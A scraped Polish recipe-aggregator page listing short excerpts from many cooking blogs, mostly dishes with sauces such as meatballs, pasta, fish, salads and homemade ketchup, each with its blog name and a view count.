solą, szczyptą chili, 1/4 łyżeczki kurkumy oraz kuminu. Smażymy razem kilka minut. Dodajemy pomidory doprawiamy pieprzem i solą i dusimy około 5 minut, od czasu do czasu mieszając, aż sos zgęstnieje. Łyżką robimy delikatnie wgłębienia i wbijamy jajka. Przykrywamy do momentu aż białka się zetną, a żółtka pozostawiamy płynne. Od razu podajemy posypując listkami bazylii. Smacznego :)  1 porcja

Moje Kuchenne Rewelacje
Sernik na zimno z czerwoną porzeczką 180

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! dżem z czerwonej porzeczki biszkoptowe ciasto z porzeczkami ucierane ciasto z czerwoną porzeczką porzeczkowa tarta z białą czekoladą drożdżowe zawijańce

Kulinarne przygody Gatity
58 najlepszych przepisów z pomidorami 230

rukoli z mozzarellą parmezanem i pomidorkami koktajlowymi Sałatka z zieloną fasolką szparagową, pomidorem i ogórkiem małosolnym Sałatka ziemniaczana z kolorowymi pomidorkami Sałatka ziemniaczana z kapustą pekińską i pomidorkami Sos pomidorowy z ziołami Spaghetti w pomidorach z cukinią Spaghetti w pomidorach z pieczonym kurczakiem i bobem Spaghetti w pomidorach z czosnkiem i natką Spaghetti z pomidorem i cukinią w natce pietruszki

Moja smaczna kuchnia
Kurczak z patelni (z parmezanem) 224

Natkę pietruszki siekamy. Dodajemy do mięsa. Dusimy pod przykryciem około 20-30 minut. Jeśli po tym czasie mięso jest miękkie, dodajemy na patelnię pozostałe masło i mieszamy z powstałym sosem. Na sam koniec mięso posypujemy tartym parmezanem. Uwagi: Kurczaka przygotowywałam tak już kilka razy. Bardzo mi on smakuje i pasuje mi to,że przygotowujemy go na patelni – w międzyczasie

Smaki Na Talerzu
HALIBUT NASZPIKOWANY ZIOŁAMI 147

liśćmi laurowymi i gałązkami tymianku, skropić białym winem, przyprawić solą i pieprzem. Wstawić do gorącego piekarnika i piec 8-10 minut, podlewając raz lub dwa rybę po wierzchu powstałym sosem. Tak przygotowany halibut jest jędrny i delikatny, uwodzi aromatem ziół i masła. Podałam go z ziemniaczkami pieczonymi w piekarniku. Najpierw obrałam 200g ziemniaków i pokroiłam w kostkę, gotowałam około

Dietolog
Carpaccio z pieczonych buraków 226

restauratora. Księżna stołowała się często w restauracji Giuseppe Ciprianiego, który wymyślił dla niej danie z surowego mięsa. Ułożył na talerzu cieniutkie plasterki najwyższej jakości polędwicy wołowej i ozdobił kremowym sosem z żółtek i musztardy. Wenecja żyła wtedy wystawą prac renesansowego malarza Vittoria Carpaccia, którego płótna pełne były intensywnych czerwieni i żółci. W hołdzie artyście kucharz nazwał swe danie: carpaccio . Oryginalnego

mojewypiekiinietylko
Pulpety w sosie chrzanowym 267

Dziś na obiad były pulpety w sosie chrzanowym.  Przepis jak zawsze  banalnie prosty  i szybki do wykonania.  Moje małe kulki mięsne podałam z  białą kaszą gryczaną i  sałatką z kapusty . Składniki: 700 g mięsa mielonego wołowego 3 szklanki bulionu warzywnego 1 duża cebula 1 bułka czerstwa 2 jajka 3 łyżki śmietany

magiczna kuchnia Kasi
Zupa z żółtej fasoli szparagowej i pomidorowej pasty 187

dodajemy naszą pastę Jamar , która nada naszej zupie oryginalnego wyjątkowego smaku, jeżeli jest potrzeba doprawiamy. Polecam serdecznie pastę firmy Jamar ponieważ ma wiele zastosowań. Śmiało możemy ją wykorzystać pod sos do pizzy, gołąbków, do letniej zupy pomidorowej, lasagne, spaghetti, czy leczo. Na stronie producenta znajdziecie również różne przepisy gdzie was zapraszam

W Moim Magicznym Domu
Rollsy z kurczakiem 201

wkładamy jedną stroną do sezamu, po czym układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy około 30-35 minut (do zezłocenia) w piekarniku nagrzanym do 180 stopni. Podajemy z sosem czosnkowym

Smaki Na Talerzu
Pizza z kurkami i marynowaną cukinią 225

Wyrośnięte ciasto złóż kilka razy i rozwałkuj na cienki placek, około 3 mm grubości. W małym garnuszku wymieszaj przecier pomidorowy z wodą, oliwą, ziołami prowansalskimi i przyprawami. Posmaruj placek sosem. Kurki pokrój na kawałki jeśli są bardzo duże i podsmaż na maśle. Dopraw solą, pieprzem i rozmieść równomiernie na placku. Teraz rozprowadź porcję cukinii, a na koniec powciskaj kuleczki mozzarelli

codojedzenia
Fasolkowo - kuskusowa sałatka 244

pozostałych składników. Kaszkę kuskus przygotować zgodnie z instrukcją na opakowaniu. Kuskus i szczypiorek dodać do reszty składników. Z oliwy, musztardy, przeciśniętego przez praskę czosnku, ziół, soli i pieprzu zrobić sos. Dobrze wymieszać i dodać do sałatki

Pysznie & Pięknie
Poledwiczki w sosie kurkowym 184

będzie gorzka. Wrzucamy do osolonego wrzątki i gotujemy przez 15 minut. Na drugiej patelni roztapiamy resztę masła. Podsmażamy polędwiczki. Po 1 minucie z każdej strony i przekładamy do sosu. Dusimy razem przez kilka minut. Wedle potrzeby zagęszczamy mąką ziemniaczaną rozprowadzoną w odrobinie ziemnej wody.  Podajemy z ugotowaną kaszą jaglaną.   Smacznego

Kuchnia od dwojga
Makaron z cukinia i kurczakiem 199

sól  i podsmażamy przez chwilę. 5. Do cukinii i kurczaka dodajemy pomidory w puszce i koncentrat pomidorowy. 6. Dusimy do momentu aż pomidory się rozpadną i powstanie gęsty sos. 7. Pod koniec dodajemy bazylię i oregano. Wrzucamy ugotowany wcześniej makaron i dusimy jeszcze ok. 5 minut. Gotowe:) Zamiast pomidorów w puszce można dodać świeże pomidory ( należy je sparzyć, obrać

la cuchara
Pulpety z batatów – zdrowy dodatek do posiłku 197

Pulpety z batatów to ciekawy pomysł na urozmaicenie posiłku na wynos. Możecie je np. dodać do sałatki i polać sosem czosnkowym, albo zawinąć w tortillę z dodatkiem warzyw i hummusu. To świetny dodatek, który może zastąpić mięso czy po prostu wzbogacić potrawę w walory zdrowotne. Zróbcie takie kulki w większej ilości na kilka dni, a wasze dania od razu nabiorą

Powiedz dietom nie
Pikantne skrzydełka z grilla 204

starannie skrzydełka, przekładamy do miski i zakrywamy szczelnie folią. Wstawiamy do chłodnego miejsca na kilka godzin. Grillujemy. Pilnujemy, bo miód się szybko karmelizuje. Do takich skrzydełek dobrze jest podać sos jogurtowy, który złagodzi delikatną ostrość. Smacznego! Post Pikantne skrzydełka z grilla pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Drobiowe kotleciki w sosie z bobem i marchewką 188

rozgrzanym oleju podsmażamy kurczaka i cebulę, marchewkę i czosnek. Kiedy się zarumienią podlewamy 1/2 szklanki wody, dusimy przez kolejne 15 minut. Dodajemy bób, śmietanę, koperek i przyprawy. Dusimy aż sos zgęstnieje

Szefowa kuchni
przetwory na zimę - keczup z cukinii 1060

Keczup z cukinii  sprawdza się doskonale jako sos do pizzy, jako dodatek do naleśników meksykańskich czy chili con carne . Polecam Wam ten przepis, oczywiście możecie regulować smak keczupu dodając mniej lub więcej przypraw. składniki: 1 1/2 kg obranej i pozbawionej nasion cukinii 1/2 kg cebuli 4 ząbki czosnku garść soli 400 g koncentratu pomidorowego 1 szklanka cukru 1/2 szklanki

babka w formie
Dahl na mleku kokosowym 156

obiad znów miał być makaron z sosem pomidorowym. Ale ile można jeść jedno i to samo? Nawet najlepsze dania kiedyś muszą się znudzić… I właśnie ta nuda w kuchni spowodowała, że powstał cudowny dahl na mleku kokosowym. Smakuje naprawdę obłędnie! Dahl (w Polsce […] Artykuł Dahl na mleku kokosowym pochodzi

Vegan Taste
Kreteńskie dakos 269

ziołami. Na koniec polej oliwą (na Krecie leją jej dużo) i podawaj.  ➤ Wskazówka : Nie wyrzucaj soku, który wyciekł z przetartych pomidorów. Możesz wykorzystać go do przygotowania gazpacho , zupy, sosu, smoothie, czy Krwawej Mary :) Te piękne drewniane naczynia - deska oraz podkładki - które widzicie na zdjęciach, stworzyły kobiece ręce. Wykonała je Justyna ze Sklepu 10x , który jest partnerem dzisiejszego wpisu

Chilli Czosnek i Oliwa
Stek Tomahawk z Angusa w winnym sosie kurkowo-szczypiorkowym 194

Waga tego steku waha się między 600g a 1kg. Jego cechą charakterystyczną jest tkanka łączna przy kości, która nadaje mu charakterystyczny posmak. Dziś serwujemy go w połączeniu z winnym sosem kurkowo-szczypiorkowym korzystając z sezonu na grzyby

Milion Smaków
Rybka z kurką 205

zatem po flądrę, turbota, czy mocno niedocenianego śledzia. Owocem moich przemyśleń była rybka na obiad. W panierce, bo taka kojarzy mi się z wakacjami nad Bałtykiem najmocniej. Do tego sos kurkowy- żeby było nieco inaczej. Wypróbujcie. Czytaj więcej

Pichceniomania
SPAGHETTI Z MINI PULPECIKAMI W SOSIE POMIDOROWO-ŚMIETANOWYM 178

mięso się przyrumieni dodaję pokrojoną w kostkę paprykę, smażę 2-3 minuty. Następnie dodaję pomidory z puszki i przyprawy, duszę razem na małym ogniu około 5-7 minut. Do sosu dodaję śmietanę i posiekany koperek, mieszam, aż składniki dobrze się połączą. Na koniec wrzucam wcześniej ugotowany makaron. W razie potrzeby danie doprawiam do smaku

JejKuchnia
Szczawnica-Czarda 136

zdjęć znad wodospadu. A to już zajazd Czarda: Skusiliśmy się na żurek pieniński z pieczywkiem, kiszkę z kapustą i na wspaniały szaszłyk barani z kartoflem pieczonym z grila z sosem czosnkowym. Było pysznie zdecydowanie polecam!!! Artykuł Szczawnica-Czarda pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Fasolka po bretońsku 166

Fasolka po bretońsku to proste danie z fasoli w sosie pomidorowym znane na całym świecie. Zapraszam na domowy przepis na fasolkę po bretońsku. Dania z fasoli sa bardzo popularne szczególnie w okresie kiedy temperatura za oknem nas nie rozpieszcza. Nic dziwnego, gdyż wzmaga się wtedy ochota na sycące dania jednogarnkowe. Fasolka po bretońsku 2 szklanki fasoli cebula kiełbasa koncentrat pomidorowy

Pieguskowa Kuchnia
Sałatka Natelli 176

usmażyć. Sałatę umyć i połamać na kawałki, dynię i słonecznik podrumienić na złoto na suchej patelni – uwaga lubi się przypalić!!!. Pomidora i ogórka pokroić w kostkę, przygotować sos wg wskazówek na opakowaniu. Wszystko ze sobą połączyć. Smacznego   Artykuł Sałatka Natelli pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Zapiekane pieczarki z tuńczykiem 153

wersji podstawowej. Szkoda, że nie wydano książki w polskiej wersji językowej, bo jako pierwsza ustawiłabym się po nią w kolejkę :(( Zapiekane pieczarki z tuńczykiem duże pieczarki puszka tuńczyka w sosie własnym sok z połowy cytryny 2 gałązki selera naciowego oliwa z oliwek natka pietruszki ser żółty 2 duże pomidory sałata Z pieczarek wydrążyć blaszki, posmarować spód oliwą, ułożyć na blaszce

Pieguskowa Kuchnia
Kaczka z jabłkami 156

nadziać doprawioną kaczkę. Całą posmarować równomiernie roztopionym masłem, ułożyć w naczyniu żaroodpornym, podlać rosołem i piec bez przykrycia do zrumienienia, około 1 godz. co jakiś czas polewając wytworzonym sosem. Gdy się dostatecznie zrumieni odwrócić na drugą stronę i powtórzyć czynność. Jeżeli skórka jest wystarczająco przyrumieniona, ale kaczka nie jest jeszcze upieczona, przykryć folią aluminiową i dopiec pod przykryciem. Kaczka jest

Pieguskowa Kuchnia
Ryba po grecku 176

chyba najpopularniejsze danie goszczące na naszych stołach w okresie Bożego Narodzenia, ale w moim domu gości zdecydowanie częściej. Smaczna ryba w towarzystwie sosu warzywno-pomidorowego na dobre podbiła serca moich domowników. Można ją podawać na gorąco, ale ja jestem zwolennikiem ryby po grecku podawanej na zimno, więc już dzisiaj przygotowałam sobie jutrzejszą kolację. Nie mogę się doczekać jutra Ryba

Pieguskowa Kuchnia
Pierogi z suszonymi śliwkami 165

Oczywiście nie zabraknie na nim tych tradycyjnych z kapustą i grzybami, ale już od dłuższego czasu za mną chodziły właśnie te z suszonymi śliwkami. Cudownie smakują, szczególnie polane pysznym sosem na bazie masła, miodu, migdałów i wanilii. Na pewno zagoszczą u mnie na świątecznym stole. Polecam! Pierogi z suszonymi śliwkami 0,5 l maślanki naturalnej 0,5 kg mąki

Pieguskowa Kuchnia
Sałatka ziemniaczana z salami 186

przygotowane składniki wymieszać delikatnie z ziemniakami, posolić i popieprzyć do smaku. Musztardę wymieszać z majonezem i śmietaną. Przyprawić solą, pieprzem oraz czosnkiem przeciśniętym przez praskę i posiekanym koperkiem. Gotowym sosem polać sałatkę, delikatnie wymieszać i posypać drobno pokrojonym szczypiorkiem. Artykuł Sałatka ziemniaczana z salami pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Zapiekanka ziemniaczana z wołowiną 169

minut w piekarniku rozgrzanym do 180 st. Resztę bazylii za szczyptą soli, pieprzem, sokiem z cytryny i 2-3 łyżkami oliwy zmiksować. Zapiekankę pokroić, nałożyć na talerze i polać sosem. Smacznego! *źródło: Wielkanoc 110 najlepszych przepisów Artykuł Zapiekanka ziemniaczana z wołowiną pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Zupa rybna Kłobuka 159

ząbków czosnku drobno posiekanych 2 łyżki masła extra 1 szkl obranych za skórki i pokrojonych pomidorów (użyłam z puszki) 1 łyżka keczupu 2 szkl bulionu warzywnego 1 łyżeczka sosu tabasco sól, pieprz do smaku W garnku rozpuścić masło i wsypać pokrojonego pora, cebulę i czosnek. Chwilkę podsmażyć, zalać 1 szklanką bulionu warzywnego i dusić pod przykryciem do miękkości. Kiedy warzywa

Pieguskowa Kuchnia
Ziemniaczane gniazdka z indykiem i warzywami 167

miski i na tym samym tłuszczu podsmażyć krótko warzywa. Następnie dodać mięso, wlać słodką śmietankę i dusić do chwili, aż śmietanka nieco odparuje i wytworzy się niewielka ilość sosu. Ziemniaczane puree przełożyć do szprycki i na papierze do pieczenia wycisnąć gniazdka. W środek nałożyć warzywa z indykiem i zapiec krótko w piekarniku nagrzanym do 175 st z funkcją grilla. Artykuł

Pieguskowa Kuchnia
Ryba w śmietanie 170

pory, dusić ok. 7 minut. Posolić. Na pory ułożyć kawałki ryby i dusić pod przykryciem ok 10 minut raz odwracając rybę. Wlać śmietankę, zagotować. Rybę wyłożyć na półmisek , polać sosem z porami. Artykuł Ryba w śmietanie pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
KECZUP Z DYNI 144

koncentratu pomidorowego 2 łyżki bazylii 2 łyżki oregano 2 łyżki przyprawy do spaghetti 1 łyżka papryki słodkiej 1 łyżka papryki ostrej Każde warzywo gotować osobno w sosie własnym przez 30 minut, następnie połączyć wszystko razem i zmiksować. Składniki zalewy zagotować, połączyć ze zmiksowanymi warzywami i często mieszając gotować jeszcze przez 30 minut często mieszając. Gorący keczup przekładać do słoiczków, zakręcić

Pieguskowa Kuchnia
ZAPIEKANKA ZIEMNIACZANA 152

doprawiając solą i pieprzem. Dodać śmietankę, zieleninę i krótko poddusić, aż zgęstnieje. Naczynie żaroodporne wysmarować masłem i poukładać dość gęsto warstwę przestudzonych ziemniaków. Posolić i popieprzyć. Zalać ziemniaki przygotowanym sosem, wyłożyć starty na grubych oczkach ser (odrobinę odłożyć) i poukładać kolejną warstwę ziemniaków. Posypać resztką sera i zapiekać w 180 st. przez 30-40 minut do zrumienienia.   Artykuł ZAPIEKANKA

Pieguskowa Kuchnia
ZRAZY WOŁOWE 170

jeżeli nam zostało to cebulę i marchewkę. Zalać gorącą wodą i dusić do miękkości (około 1,5 godz). Gdy mięso jest miękkie to wyciągnąć je na półmisek, a sos zagęścić mąką wymieszaną z zimną wodą i zagotować. Artykuł ZRAZY WOŁOWE pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
POLĘDWICZKI Z INDYKA Z JABŁKAMI 239

łyżkami oleju i wstawić do nagrzanego do 180-190 st. piekarnika. Piec w zależności od wielkości polędwiczek około 30-45 minut. W połowie czasu pieczenia polać wytworzonym sosem. Artykuł POLĘDWICZKI Z INDYKA Z JABŁKAMI pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
LENIWE GOŁĄBKI 179

uformować owalne kotlety. Naczynie żaroodporne wysmarować masłem, poukładać mięso i zalać passatą pomidorową. Zapiekać około 45 minut w temp. 175 st. W połowie czasu pieczenia polać kotlety wytworzonym sosem. Podawać z ziemniakami. Artykuł LENIWE GOŁĄBKI pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
KECZUP Z CUKINII 153

keczupu ze sklepu już daaawno nie kupowałam. Wyjadamy na zmianę ten keczup z cukinii i z dyni – klik . Wykorzystuję go nie tylko na kanapki czy jako składnik sosów. Świetnie smakują zapieczone w nim skrzydełka Polecam, bo jest pyszny! KECZUP Z CUKINII 1,5 kg obranej i wydrążonej cukinii 0,5 kg cebuli 2 łyżki soli 2 szkl cukru

Pieguskowa Kuchnia
PIECZONE KACZE UDKA 235

Przez pierwsze pół godz. pieczenia przykryć całość folią aluminiową, Piec około 1-1,5 godzinki, aż skórka się przyrumieni, a mięso będzie miękkie. W międzyczasie dwukrotnie podlewać mięso wytworzonym sosem, żeby nie wysychało. Artykuł PIECZONE KACZE UDKA pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
TAMARYNDOWE SKRZYDEŁKA Z KURCZAKA 175

przekonały mnie. Teraz z ochotą robię zakupy w sklepach internetowych :). TAMARYNDOWE SKRZYDEŁKA Z KURCZAKA 12 skrzydełek z kurczaka MARYNATA 3 łyżki pasty tamaryndowej 2 łyżki cukru palmowego 2 łyżki sosu sojowego 3 łyżki miodu 1 łyżka oliwy z oliwek kawałek świeżego imbiru (ok 5 cm) 2 ząbki czosnku DIP kwaśna śmietana 12% limonka kolendra Imbir obrać i zetrzeć na tarce

Pieguskowa Kuchnia
GULASZ CIELĘCY 207

małych cebul rodzinnych) 2 papryki 1 puszka pomidorów 2-3 łyżki oleju liść laurowy, ziele angielskie, pieprz czarny, sól, pieprz ziołowy i papryka ostra mąka i woda do zagęszczenia sosu Mięso pokroić w kostkę, doprawić solą, pieprzem, pieprzem ziołowym i papryką. Dodać olej, dokładnie wymieszać i pozostawić na kilka minut aby przeszło aromatami. Garnek lub dużą patelnię dobrze nagrzać, przełożyć

Pieguskowa Kuchnia
Żeberka w kapuście kiszonej 166

Żeberka w kapuście kiszonej to danie, które kojarzę już z czasów dzieciństwa. Zawsze smakowało mi takie mięso w kwaskowym, aromatycznym sosie. Jest to danie szczególnie popularne gdy za oknem hula zima. Pogoda nas teraz nie rozpieszcza i wciąż jest zimno, więc żeberka są idealną propozycją obiadową na ten czas. Zazwyczaj robiłam żeberka duszone, ale tym razem przygotowałam wersję pieczoną

Pieguskowa Kuchnia
Patelnia tytanowa Woll Saphir Lite – opinia 168

które podsmażyłam, a następnie upiekłam na patelni w piekarniku w 220 st. Patelnia tytanowa Woll to dla mnie naczynie wielofunkcyjne. Z radością przygotowywałam w niej potrawy jednogarnkowe. Makaron w sosie pomidorowym z patelni udał się wspaniale. Nic nie przywarło, wszystko udało sie świetnie. Najbardziej spodobało mi się czyszczenie patelni. Wystarczyło wytrzeć dno suchym ręcznikiem papierowym i po sprawie. Potrawa ześlizgnęła

Pieguskowa Kuchnia
Bób z masłem i pietruszką 186

domu to w zasadzie tylko w ten sposób podawało się bób. Teraz wachlarz potraw z dodatkiem bobu jest ogromny. Wykorzystuje się go jako składnik sałatek, dodatek do mięs i sosów. I bardzo dobrze, bo to smaczne warzywo. Oprócz bobu z masłem i pietruszką bardzo smakują mi pierogi z bobem i twarogiem . Są bardzo syte i wszyscy je uwielbiamy. Dzisiaj jednak

Pieguskowa Kuchnia
Tuszonka czyli mięso w słoiku 203

staram się sama przygotowywać smakołyki do koszyka, a jednym z nich jest tuszonka. Kiedyś taki słoik był u nas obowiązkowym wyposażeniem każdego wakacyjnego wyjazdu - tuszonka (тушёнка) czyli mięso w sosie własnym duszone w słoiku. Czy muszę pisać, że swoja, domowa smakowała najlepiej na świecie? Ostatnio domową produkcją tuszonki zajął się brat. Przetestował kilka przepisów i opracował swój sposób na zrobienie

Obiad gotowy
Sałatka krabowo – krewetkowa 286

sekund. Odcedzić i wrzucić do miski. Rzodkiewki umyć i pokroić w pół talarki, dodać do makaronu. Ogórka obrać i pokroić w kostkę, również dodać do makaronu. Krewetki razem z sosem który pozostał podczas smażenia wrzucić do makaronu razem z krabowymi paluszkami pokrojonymi w drobne paseczki. Koperek i pietruszkę posiekać dodać do sałatki. Teraz już tylko wymieszać majonez z jogurt

Kuchnia Pokoleń
Kasza jęczmienna z warzywami i sosem pomidorowym 279

Kasza jęczmienna z bakłażanem, pomidorami, cebulą i papryką. Całość gotowana w sosie pomidorowym, posypana mozzarellą, bazylią i rozmarynem. Kaszę jęczmienną ugotować do miękkości w osolonej wodzie. Cebulę pokroić w drobną

Bullio
Kalafior w cieście 183

pikantnego można dodać szczyptę papryki chilli. Na blogu w zakładce WARZYWA znajdziecie inne pomysły na przygotowanie kalafiora. Szczególnie polecam kalafiora faszerowanego mięsem mielonym   oraz kalafiora zapiekany w sosie serowym Składniki 1 średni kalafior 1/2 szklanki mąki pszennej 1,5  łyżeczki soli 1/2 łyżeczki tymianku 1/2 łyżeczki oregano 1 łyżeczka pieprzu ziołowego 1/2 łyżeczki gorczycy 2 łyżeczki słodkiej

O kuchni z uczuciem
Placki jaglane z kurczakiem i szpinakiem 238

placki do których nie potrzeba gotować oddzielnie ryżu, ani ziemniaków. Placki jaglane świetnie smakują same! Ale można oczywiście podawać je z gęstym sosem lub surówką Czas wykonania: 30 min  (+ 1 godzina oczekiwania) Ilość porcji: 10 – 12 sztuk Składniki: ½ szklanki kaszy jaglanej (100 g) 250 g fileta z kurczaka lub indyka 50 g świeżego szpinaku

KuchniaWeDwoje.pl
Mięsne kulki z niespodzianką 167

Mięso mielone to żadna nowość, ale jeśli są to smażone pulpeciki z niespodzianką w środku, to już coś innego. A jeśli jeszcze zapieczemy w sosie pomidorowym to już zmienia nam się danie. Potrzebujemy: Czytaj więcej

Tylko pysznie
Tarta z marchewką i sezamem 166

rant. Ułożyć na cieście przecięte wzdłuż na pół marchewki. Zalać masą jajeczną i piec w 200`C około 40 minut do zrumienienia brzegów ciasta. Podawać z ulubioną surówką lub sosem jogurtowym

Gotuj zdrowo!Guten Appetit!
Makaronowe muszle z tuńczykiem 2694

tuńczyka nie jest mocno wyczuwalny, podobnie jak smak białego sera. 1/2 op. makaronowych muszli conchiglioni czerwona papryka czerwona cebula 1/2 puszki kukurydzy 4 korniszony 4 jajka puszka tuńczyka w sosie własnym 200 g białego sera półtłustego majonez sól, pieprz Makaron gotujemy al dente w osolonym wrzątku. Odcedzamy, przelewamy 1 łyżką oliwy z oliwek, mieszamy i odstawiamy do wystygnięcia. Pozbawioną gniazda

Smaki Na Talerzu
Sałatka z pieczoną papryką i kolendrą 144

papryk, aby ładnie prezentowała się na stole, co mam nadzieję, że widzicie na zdjęciach Natomiast kolendra dodana do sałatki nadała jej oryginalnego charakteru. Nie chciałam całości traktować żadnym ciężkim sosem, dlatego delikatnie ją skropiłam oliwą z oliwek. Zobaczcie też: Sałatka na rukoli z kurczakiem, papryką i selerem naciowym Przepis na sałatkę z pieczoną papryką Drukuj przepis Porcji: 6-8 Czas

Kuchnia Bazylii
Błyskawiczny makaron z kiełbasą 217

składniki podsmażamy przez chwilkę na maśle lub oleju rzepakowym. Następnie dodajemy pokrojoną w plasterki kiełbasę. Całość smażymy jeszcze kilka minut, następnie wlewamy śmietankę i dodajemy pokrojone w kostkę pomidory. Sos dusimy, aż nabierze gęstej, kremowej konsystencji. Dodajemy przyprawy i posiekaną natkę pietruszki i całość mieszamy z makaronem. makaron z kiełbasą Artykuł Błyskawiczny makaron z kiełbasą pochodzi z serwisu Przepisy Kulinarne

e-PrzepisyKulinarne
Placki ziemniaczane z pikantnym wieprzowym gulaszem 238

pieprz - mieszamy. Następnie dodajemy mąkę mieszając - ciasto na placki nie powinno być zbite.  Na rozgrzanym tłuszczu smażymy na rumiano z dwóch stron niewielkie placki. Placki podajemy z gorący sosem oraz ogórkiem konserwowym całość oprószając posiekaną natką pietruszki

Kulinarny Świat Konczi i Szpileczki
Makaron z pomidorami 173

niestety zdarza się bardzo często). Wystarczy wymieszać kilka składników z makaronem i już gotowe . Możliwości jest tutaj na prawdę wiele. W sezonie zimowym stawiam na ciężkie, gęste i sycące sosy . Latem natomiast w mojej kuchni wygrywają przede wszystkim świeże warzywa . Chcesz zjeść prosto, pożywnie i niedrogo ? Jeśli tak to zapraszam do wypróbowania przepisu na makaron z pomidorami i bazylią. Smacznego

Pobite gary Barbary
Balsamico winegret wg Aleex 179

której widniał napis „Balsamico winegret” i doszłam do wniosku, że w sklepach w moim miasteczku nie mam szans, aby to kupić. A ponieważ chciałam przygotować niektóre potrawy z tym sosem, musiałam go po prostu zrobić. Wystarczyło kilka wskazówek kulinarnych, kilka składników, a potem kilka chwil w kuchni i … oto jest – domowy balsamico winegret. Rewelacyjny jako dressing do sałat, marynata

W mojej kuchni
Risotto Ze Świeżymi Kurkami 177

przesmażam (nie jest ona konieczna ale my lubimy w risotto jak jest tam choć odrobina mięsa ) 3. Kiedy całość jest już przesmażona, wsypuje ryż i czekam aż wchłonie resztę sosu który się wytworzył. Następnie podlewam całość 3 chochelkami bulionu, przykrywam i duszę. Od tej pory co jakiś czas mieszam i sprawdzam czy ryż wchłonął bulion, jeśli tak, to natychmiast

Gotowanie...to proste !
Kofta arabska po polsku w UK 169

podłużne, nadziane na patyczek do szaszłyków. Posmarujcie kofty olejem, obsmażcie na gorącej patelni i włóżcie do piekarnika (nagrzanego 190sC) na 5-8 minut. Podawajcie jak lubicie z ryżem, sałatą, sosem tzatziki, lub w pszennych tortillach . Przepis na tortille znajdziecie  TU Powodzenia

Piekarz-Kucharz-Garkotłuk
CUKINIA FASZEROWANA KASZA JAGLANĄ I KURKAMI 209

dodajcie posiekany środek cukinii. Trzymajcie tak na ogniu, aż warzywa zaczną mięknąć. Wlejcie kremówkę, smażcie, aż trochę się zredukuje. Dosypcie parmezan, wymieszajcie i chwilę pogotujcie. Wyłączcie palnik. Do sosu dodajcie kaszę i posiekaną natkę pietruszki, teraz jest tez czas na dodanie chili, posypcie solą i pieprzem, wymieszajcie. Spróbujcie nadzienia- jeśli trzeba doprawcie. Wydrążone cukinie napełnijcie przygotowanym farszem, posypcie parmezanem. Zapiekajcie

OliveandThyme
Kopenhaga 192

kolejce kilkanaście osób czekało). Na miejscu kupicie domową oranżadę imbirową. Po 17 możecie zjeść sycące risotto. Ja spróbowałam klasycznej owsianki przygotowanej na wodzie i organicznym mleku, na wierzchu sos karmelowy, świeże jabłko i pieczone migdały. Pyszne! http://groed.com Smørrebrød To nic innego jak kanapki z żytniego chleba. Też prosto i konretnie – bo tego „obkładu” to jest całkiem

Szybko Tanio Smacznie
Ekspresowe gofry cioci Agnieszki 156

pyszne, chrupiące i nie miękną- bez względu na czas pozostają chrupiące. Zaletą tego przepisu jest też fakt że są mało słodkie, więc możecie użyć najrozmaitszych dodatków od czekoladowego sosu po bekon z jajkiem ;) Polecam !  U nas dziś tradycyjnie -z cukrem pudrem Przepis na 10 średnich gofrów 2 szklanki mąki (użyłam uniwersalnej) 2 szklanki mleka 3,2% 1 łyżeczka proszku

Piekarz-Kucharz-Garkotłuk
Patison w jajku 156

czym wykładamy na ręcznik papierowy, aby odsączyć z nadmiaru tłuszczu. Posypujemy ulubionymi ziołami i przyprawami. Podajemy solo lub w połączeniu z surówkami, ziemniakami czy też ulubioną kaszą z dowolnym sosem

Kulinarne przemyslenia
Curry z kalafiorem, zieloną i żółtą cukinią 202

przerywając mieszania. Następnie dodaj zblendowane pomidory. Całość gotuj około 3 – 4 minuty. Dodaj kalafiora, po 3 – 4 minutach dodaj mleko kokosowe, gotuj około 10 minut – aż sos zacznie gęstnieć. Dopraw solą, pieprzem i w razie potrzeby – pozostałymi przyprawami. Około 5 – 7 minut przed końcem gotowania – dodaj cukinię zieloną i żółtą. Curry podawaj w głębokich miseczkach z ugotowanym

Moja pasja smaku
paprykarz z tuńczykiem by Asia 203

drugi sort. Składniki: podam cały przepis - mi z połowy wyszły 6 słoików  3 kg pomidorów bez skóry 1 kg marchwi 1 kg cebuli 5 puszek tuńczyka w sosie własnym 4 woreczki ryżu 1 szklanka oleju 1 łyżka soli 1 łyżka cukru 1 łyżeczka ostrej papryki Przygotowanie: cebulę pokroić w kosteczkę i ugotować (woda musi tylko przykryć cebulę) po ugotowaniu

Gotowanie z pasją
Lody marcepanowe z prażonymi migdałami 304

miksowania wlewać schłodzone mleko skondensowane, a następnie dodać przestudzony marcepan. Krem przelać do pojemnika do mrożenia i wstawić do zamrażarki na parę godzin. Zamrożone lody nakładać do pucharków polewając sosem toffi i posypując prażonymi migdałami. Prażone migdały można od razu wmieszać w lody przed zamrożeniem. Smacznego :) Kategoria: A-Z SŁODKO , Lody i desery lodowe Tagged: kremówka , marcepan , migdały , mleko skondensowane

https:KKuchniaMniam
Polędwiczki Wieprzowe w Sosie Na Bazie Koniaku 146

grubszą kosteczkę smażymy do zrumienienia, dodajemy czosnek przeciśnięty przez praskę. Dodajemy koniak intensywnie mieszając, dodajemy śmietanę. Przyprawiamy musztardą, solą, pieprzem, ziołami. jeszcze chwile gotujemy po czym wkładamy mięso do sosu i dodajemy pietruszkę. Smacznego

Dziś Ja gotuje
